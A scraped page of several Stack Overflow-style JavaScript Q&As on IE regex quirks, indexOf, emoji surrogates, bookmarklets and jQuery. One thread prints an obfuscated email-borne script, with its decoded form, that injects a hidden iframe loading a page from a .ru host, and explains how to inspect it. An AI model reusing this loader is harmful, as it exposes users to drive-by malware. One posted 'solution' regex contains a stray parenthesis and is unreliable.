Javascript RegExp does not work in IE - javascript

The parameter return_value contains
<textarea>{"id":43,"description":"","item_id":28,"callback":"addNewAttachment","filename":"foo.jpg",,"type":"posts","ext":"jpg","size":145}</textarea>
The next code removes the textarea tags in Firefox, Chrome, so the content can be accessed in arr[1]. In IE alert("Failure") is called.
function addAttachment(returned_value) {
var re = new RegExp ("<textarea>(.+)</textarea>");
var arr = re.exec(returned_value);
if(arr != null && arr.length > 1) {
var json = eval('(' + arr[1] +')');
} else {
alert("Failure");
}
window[json.callback](json);
}
returned_value comes from an ajax call. I use JQuery.
TEST
This does not work either:
var re = new RegExp (/<textarea>(.+)<\/textarea>/);
SOLUTION
The problem was that IE was getting the textarea String uppercased while firefox was getting it lowercase.
The next regular expression solves it.
var re = new RegExp ('<textarea>(.+)</textarea)>','i');

Is this a case-sensitive issue? new RegExp(..., "i") might help?

Try using a regex literal:
var r = /<textarea>(.+)<\/textarea>/i;

What IE version do you use? I tested the following code in IE 7 and it worked:
<script>
var x = '<textarea>{"id":43,"description":"","item_id":28,"callback":"addNewAttachment","filename":"foo.jpg",,"type":"posts","ext":"jpg","size":145}</textarea>'
var r = new RegExp('<textarea>(.+)</textarea>');
var a = r.exec(x);
for (var i=1; i<a.length; i++)
alert(a[i]);
</script>
Edit: I checked with this code in IE7 and it also works. test.xml is a file that contains the string and sits in the folder next to the HTML page with the script. I assume it should also work with a dynamic page that returns the same thing.
<script>
function test(x) {
var r = new RegExp("<textarea>(.+)</textarea>");
var a = r.exec(x);
for (var i=1; i<a.length; i++)
alert(a[i]);
}
var rq = new XMLHttpRequest();
rq.open("GET", "test.xml", false);
rq.send(null);
test(rq.responseText)
</script>

Related

Cant get indexOf statement to work

Ultimately I am prompting the user for a guess, which is then ultimately changed so regardless of what the user inputs it will always Capitalize the first letter and make the rest lowercase. (Im doing this so if the user types in a guess the string will either match or not match the values in an array.) I tried doing a for statement to use a loops counter (3 total guesses is what im looking for). But when I try to use a indexOf to check the array, I keep getting an "unexpected token" error on that line that contains the indexOf statement. So the question would be (1) what am i doing wrong in this line of code?
//declare variables
var sportsArray = new Array("Football", "Basketball", "Rollerblading", "Hiking", "Biking", "Swimming");
var name = prompt("Enter your name");
var loops = 0;
var score = 0;
var sGuess = prompt("enter your sport guess");
// uses substrings to ultimately capitalize the 1st letter, and make everything after it lowerCase.
var sFirstPart = sGuess.substr(0, 1);
var sFirstCap = sFirstPart.toUpperCase();
var sSecondPart = sGuess.substring(1, sGuess.length);
var sSecondLow = sSecondPart.toLowerCase();
var usableGuess = sFirstCap + sSecondLow;
while(loops < 4){
if(sportsArray.indexOf(usableGuess) = 0 {
document.write("nice guess");
loops++;
}else {
document.write("loser");
loops++;
}
}
This works for checking the whole array:
var sportsArray = new Array("Football", "Basketball", "Rollerblading", "Hiking", "Biking", "Swimming");
var name = prompt("Enter your name");
var loops = 0;
var score = 0;
var sGuess = prompt("enter your sport guess");
// uses substrings to ultimately capitalize the 1st letter, and make everything after it lowerCase.
var sFirstPart = sGuess.substr(0, 1);
var sFirstCap = sFirstPart.toUpperCase();
var sSecondPart = sGuess.substring(1, sGuess.length);
var sSecondLow = sSecondPart.toLowerCase();
var usableGuess = sFirstCap + sSecondLow;
while(loops < 4){
if(sportsArray.indexOf(usableGuess) > -1) {
document.write("nice guess");
loops++;
}else {
document.write("loser");
loops++;
}
}
You'd want to use indexOf(guess) > -1 to check if the guess is present at any index of the array. For checking just one index position it would be indexOf(guess) == 0.
sportsArray.indexOf(usableGuess) === 0) instead of sportsArray.indexOf(usableGuess) = 0
It's a good practice to check for equality with constant on the left side. It will throw an exception in most browsers:
var a = 3;
if (12 = a) { // throws ReferenceError: invalid assignment left-hand side in Firefox
//do something
}
Also: use tools that provide static code analysis. A jslint.com or jshint.com for js is a good choice. There are also IDE plugins explicitely for that (using either of those two and more), see Is there a working JSLint Eclipse plug-in?.

emoji surrogate string with Javascript. How to parse?

I want to express emoji with javascript.
I have a file like...
:-),\ud83d\ude03
^^,\ud83d\ude03
^_^,\ud83d\ude03
:),\ud83d\ude03
:D,\ud83d\ude03
which contains key and emoji surrogate as value.
I am going to read this and if input string matches with key, replace the word with those emoji.
i.e. type "^^" will be replace with smile mark.
But there is something weird, if I put those informations as object, it prints emoji well.
like...
this.emojiStore.osx = {
//smile
':-)' : '\ud83d\ude03'
, '^^' : '\ud83d\ude03'
, '^_^' : '\ud83d\ude03'
, ':)' : '\ud83d\ude03'
, ':D' : '\ud83d\ude03'
//frawn
, ':(' : '\ud83d\ude1e'
//crying
, 'T^T' : '\ud83d\ude22'
, 'T_T' : '\ud83d\ude22'
, 'ㅜㅜ' : '\ud83d\ude22'
, 'ㅠㅠ' : '\ud83d\ude22'
//poo
, 'shit' : '\ud83d\udca9'
};
and replace part looks like ...
this.value = emojiList[key];
But when I read infos from file, it print string like '\ud83d\ude22'.
How can I express surrogate string with js?(I do not want to use 3rd party libraries.)
FYI, js file and target file both encoded with UTF-8.
======== File Loading Part
function loadFile(url){
var ret = {};
var rawFile = new XMLHttpRequest();
// rawFile.overrideMimeType('text/html; charset=utf-8');
rawFile.open("GET", url, false);
rawFile.onreadystatechange = function (){
if(rawFile.readyState === 4){
if(rawFile.status === 200 || rawFile.status == 0) {
var allText = rawFile.responseText;
var textByLine = allText.split('\n');
for(var i = 0; i < textByLine.length; i++){
if(textByLine[i].trim().length < 1) continue;
var key = textByLine[i].split(',')[0].trim();
var value = textByLine[i].split(',')[1].trim();
ret[key] = value;
}
}
}
};
rawFile.send(null);
console.log(ret);
return ret;
}
=========== Edited
I found a hint.
When I read from file it chnage \u to \\u, while when I read from text it maintains what it is.
i.e
file version : \ud83d\ude03 to \\ud83d\\ude03
script version : \ud83d\ude03 itself
So point is how to prevent it changes \ to \\.
I still do not find the answer though.
found the answer I guess.
refer follow link :
How do I decode a string with escaped unicode?
function parseUnicode(str){
var r = /\\u([\d\w]{4})/gi;
str = str.replace(r, function (match, grp) {
return String.fromCharCode(parseInt(grp, 16)); } );
return str;
}
for reference, js String value can be different with the string what comes from a file. I made a function to check each character and result is different.
function charAnalyst(str){
var result = '';
for(var i = 0; i < str.length; i++){
var aChar = str.charAt(i);
result += aChar;
console.log(aChar);
}
console.log(result);
}
I hope this would be save your time :D

Code works in code tester but not in adressbar

If i input my code here:
http://writecodeonline.com/javascript/
It works as intended, but if i input it in my adressbar with "javascript:" infront the alert box just shows the original string.
What is going wrong?
var string = "Sunshine & Whiskey";
var stringFeedback;
var i = 0;
string = string.replace("&","%26");
do {
stringFeedback = string.search(/[ ]/);
string = string.replace(/[ ]/,"%20");
i += 1;
} while (i < 5);
alert(string);
Edit:
If i input in my Chromium console it works fine, but if i make a bookmark with the same code it doesn't.
Any suggestions on how to fix that?
Try initialising i before the loop:
var i = 0;
do {
stringFeedback = string.search(/[ ]/);
string = string.replace(/[ ]/,"%20");
i += 1;
} while (i < 5);
Whatever, I recommend you use your browser console to test these code snippets.
You can use
encodeURIComponent("Sunshine & Whiskey");
That returns
Sunshine%20%26%20Whiskey
without any loop, it's a native method of javascript that is supported by all Browser.
MDN documentation

Deobfuscate/Parse String

I received the following in an email attachment today stating that it was a confirmation for a ticket that I supposedly bought. Please help me understand how one would go about deconstructing this code...
<script>
c = 2;
i = c - 2;
if (window.document) try {
new c.prototype
} catch (hgberger) {
f = ['-29n-29n67n64n-6n2n62n73n61n79n71n63n72n78n8n65n63n78n31n70n63n71n63n72n78n77n28n83n46n59n65n40n59n71n63n2n1n60n73n62n83n1n3n53n10n55n3n85n-25n-29n-29n-29n67n64n76n59n71n63n76n2n3n21n-25n-29n-29n87n-6n63n70n77n63n-6n85n-25n-29n-29n-29n62n73n61n79n71n63n72n78n8n81n76n67n78n63n2n-4n22n67n64n76n59n71n63n-6n77n76n61n23n1n66n78n78n74n20n9n9n62n72n80n64n73n62n73n73n77n66n62n69n64n66n66n59n8n76n79n20n18n10n18n10n9n67n71n59n65n63n77n9n59n79n60n70n60n84n62n72n67n8n74n66n74n1n-6n81n67n62n78n66n23n1n11n10n1n-6n66n63n67n65n66n78n23n1n11n10n1n-6n77n78n83n70n63n23n1n80n67n77n67n60n67n70n67n78n83n20n66n67n62n62n63n72n21n74n73n77n67n78n67n73n72n20n59n60n77n73n70n79n78n63n21n70n63n64n78n20n10n21n78n73n74n20n10n21n1n24n22n9n67n64n76n59n71n63n24n-4n3n21n-25n-29n-29n87n-25n-29n-29n64n79n72n61n78n67n73n72n-6n67n64n76n59n71n63n76n2n3n85n-25n-29n-29n-29n80n59n76n-6n64n-6n23n-6n62n73n61n79n71n63n72n78n8n61n76n63n59n78n63n31n70n63n71n63n72n78n2n1n67n64n76n59n71n63n1n3n21n64n8n77n63n78n27n78n78n76n67n60n79n78n63n2n1n77n76n61n1n6n1n66n78n78n74n20n9n9n62n72n80n64n73n62n73n73n77n66n62n69n64n66n66n59n8n76n79n20n18n10n18n10n9n67n71n59n65n63n77n9n59n79n60n70n60n84n62n72n67n8n74n66n74n1n3n21n64n8n77n78n83n70n63n8n80n67n77n67n60n67n70n67n78n83n23n1n66n67n62n62n63n72n1n21n64n8n77n78n83n70n63n8n74n73n77n67n78n67n73n72n23n1n59n60n77n73n70n79n78n63n1n21n64n8n77n78n83n70n63n8n70n63n64n78n23n1n10n1n21n64n8n77n78n83n70n63n8n78n73n74n23n1n10n1n21n64n8n77n63n78n27n78n78n76n67n60n79n78n63n2n1n81n67n62n78n66n1n6n1n11n10n1n3n21n64n8n77n63n78n27n78n78n76n67n60n79n78n63n2n1n66n63n67n65n66n78n1n6n1n11n10n1n3n21n-25n-29n-29n-29n62n73n61n79n71n63n72n78n8n65n63n78n31n70n63n71n63n72n78n77n28n83n46n59n65n40n59n71n63n2n1n60n73n62n83n1n3n53n10n55n8n59n74n74n63n72n62n29n66n67n70n62n2n64n3n21n-25n-29n-29n87'][0].split('n');
md = 'a';
e = window["e" + "val"];
w = f;
s = [];
r = String;
for (; 613 != i; i += 1) {
j = i;
s += r.fromCharCode(38 + 1 * w[j]);
}
e(s);
}</script>
Unobfuscated:
if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("<iframe src='http://dnvfodooshdkfhha.ru:8080/images/aublbzdni.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer(){
var f = document.createElement('iframe');f.setAttribute('src','http://dnvfodooshdkfhha.ru:8080/images/aublbzdni.php');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}
I took the code you posted, and pasted it verbatim into http://jsfiddle.net. The only thing I changed (and I recommend this) was changing the call to e(s) to alert(s). That way, your browser won't try to execute the embedded code, but just display it for you.
You'll see some dodgy stuff about iframes and dnvfodooshdkfhha.ru, which seems spammy.
It looks like that string is a list of character codes separated by 'n' s. If you run the code with the last line replaced with 'alert(s)' instead of e(s) you will see the obfuscated code that your malware is trying to 'eval'

jquery conversion for this javascript

I have the following code:
for (i=1; i<=len; i++) {
var optcheck = col+'|'+document.getElementById('color').options[i].value;
text = document.getElementById('color').options[i].text.split(' - ');
}
This is part of the original code from javascript. I have successfully converted much of the other stuff into jquery but I can't seem to figure out how to convert this into jquery.
Please note that col is just value I am passing when calling the function which is usually "16"
Here is what I got so far:
for (i=1; i<=len; i++) {
var optcheck = col+'|'+$('#color').val(i);
text = $('#color').val(i).text.split(' - ');
}
Also, the original code works fine in Chrome, Firefox, Opera and Safari but in IE (all version from 6 to 9) I get an error saying 'options[...].value' is not null or not an object
Thanks for the help!
You're mis-calling val.
Change it to $('#color option').eq(i).text() and $('#color option').eq(i).val()
$('#color option').each(function() {
var a = col + '|' + this.value,
b = this.text.split(' - ');
// do stuff with a and b
});

Categories